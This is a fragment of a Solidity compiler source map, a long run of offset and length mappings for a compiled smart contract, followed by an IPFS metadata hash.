2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;5932:456::-;6020:6;6028;6036;6089:2;6077:9;6068:7;6064:23;6060:32;6057:52;;;6105:1;6102;6095:12;6057:52;-1:-1:-1;;6150:16:1;;6256:2;6241:18;;6235:25;6352:2;6337:18;;;6331:25;6150:16;;6235:25;;-1:-1:-1;6331:25:1;5932:456;-1:-1:-1;5932:456:1:o;6672:277::-;6739:6;6792:2;6780:9;6771:7;6767:23;6763:32;6760:52;;;6808:1;6805;6798:12;6760:52;6840:9;6834:16;6893:5;6886:13;6879:21;6872:5;6869:32;6859:60;;6915:1;6912;6905:12;6954:251;7024:6;7077:2;7065:9;7056:7;7052:23;7048:32;7045:52;;;7093:1;7090;7083:12;7045:52;7125:9;7119:16;7144:31;7169:5;7144:31;:::i;9543:128::-;9610:9;;;9631:11;;;9628:37;;;9645:18;;:::i;9676:125::-;9741:9;;;9762:10;;;9759:36;;;9775:18;;:::i;10997:135::-;11036:3;11057:17;;;11054:43;;11077:18;;:::i;:::-;-1:-1:-1;11124:1:1;11113:13;;10997:135::o;11269:127::-;11330:10;11325:3;11321:20;11318:1;11311:31;11361:4;11358:1;11351:15;11385:4;11382:1;11375:15;11401:959;11663:4;11711:3;11700:9;11696:19;11742:6;11731:9;11724:25;11785:6;11780:2;11769:9;11765:18;11758:34;11828:3;11823:2;11812:9;11808:18;11801:31;11852:6;11887;11881:13;11918:6;11910;11903:22;11956:3;11945:9;11941:19;11934:26;;11995:2;11987:6;11983:15;11969:29;;12016:1;12026:195;12040:6;12037:1;12034:13;12026:195;;;12105:13;;-1:-1:-1;;;;;12101:39:1;12089:52;;12170:2;12196:15;;;;12161:12;;;;12137:1;12055:9;12026:195;;;-1:-1:-1;;;;;;;12277:32:1;;;;12272:2;12257:18;;12250:60;-1:-1:-1;;12341:3:1;12326:19;12319:35;12238:3;11401:959;-1:-1:-1;;;11401:959:1:o;12365:217::-;12405:1;12431;12421:132;;12475:10;12470:3;12466:20;12463:1;12456:31;12510:4;12507:1;12500:15;12538:4;12535:1;12528:15;12421:132;-1:-1:-1;12567:9:1;;12365:217::o

ipfs://ec5d3e25edd9b038f02894c8608a5ae6a47501f350eea0a23a6c5118760baff5